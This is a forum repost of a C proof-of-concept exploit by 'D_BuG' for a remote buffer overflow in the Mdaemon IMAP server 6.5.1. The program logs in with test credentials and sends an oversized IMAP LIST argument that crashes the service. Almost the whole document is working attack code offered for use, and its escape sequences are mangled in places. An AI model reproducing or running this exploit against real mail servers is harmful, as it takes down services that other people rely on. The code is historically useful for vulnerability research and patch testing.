文章作者：D_BuG
复制内容到剪贴板
代码:
/////////////////////////////////////////////////////////////
// Remote proof-of-concept exploit //
// for //
// Mdaemon IMAP server v6.5.1 //
// and //
// possible other version. //
// Find bug: D_BuG. //
// Author: D_BuG. //
// [email]D_BuG@bk.ru[/email] //
// Data: 16/09/2004 //
// NOT PUBLIC! //
// //
/////////////////////////////////////////////////////////////
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int sock,err;
struct sockaddr_in sa;
int main (int argc, char *argv[])
{
printf("Remote proof-of-concept(buffer overflow) exploitn");
printf(" for n");
printf("Mdaemon IMAP server v6.5.1 and possible other version.n");
if(argc!=3)
{
printf("Usage: %s <IPADDRESS> <PORT>n",argv[0]);
printf("e.g.:%s 192.168.1.1 143n",argv[0]);
exit(-1);
}
sa.sin_family=AF_INET;
sa.sin_port=htons(atoi(argv[2]));
if(inet_pton(AF_INET, argv[1], &sa.sin_addr) <= 0)
printf("Error inet_ptonn");
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
printf("[~]Connecting...n");
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) <0)
{
printf("[-]Connect filed....nExit...n");
exit(-1);
}
char send[]="0001 LOGIN ""test"" ""console""rn";
char send3[]=
"007x LIST "
"""aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAA"""
""" *BBBBBBBBBBaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAc"""
"rnrn";
char rcv[1024];
printf("[+]Ok!n");
sleep(2);
printf("[~]Get banner...n");
if(read(sock,&rcv,sizeof(rcv)) !=-1){}
if(strstr(rcv,"IMAP")==NULL)
{
printf("[-]Failed!n");
}
else
{
printf("[+]Ok!n");
}
printf("[~]Send LOGIN and PASSWORD...n");
write(sock,send,sizeof(send)-1);
sleep(2);
memset(rcv,0,1024);
if(read(sock,&rcv,sizeof(rcv)) !=-1){}
if(strstr(rcv,"OK")==NULL)
{
printf("[-]Failed login or password...nExit...");
exit(-1);
}
printf("[+]Ok!n");
printf("[~]Send LIST...n");
write(sock,send3,sizeof(send3)-1);
sleep(2);
memset(rcv,0,1024);
if(read(sock,&rcv,sizeof(rcv)) !=-1){}
if(strstr(rcv,"BAD")!=NULL)
{
printf("[-]Exploit filed...please check your version Mdaemon!n");
printf("[-]Exit...n");
exit(-1);
}
printf("[+]Ok!n");
printf("[+]Crash service.....n");
printf("[~]Done.n");
close(sock);
return 0;
}
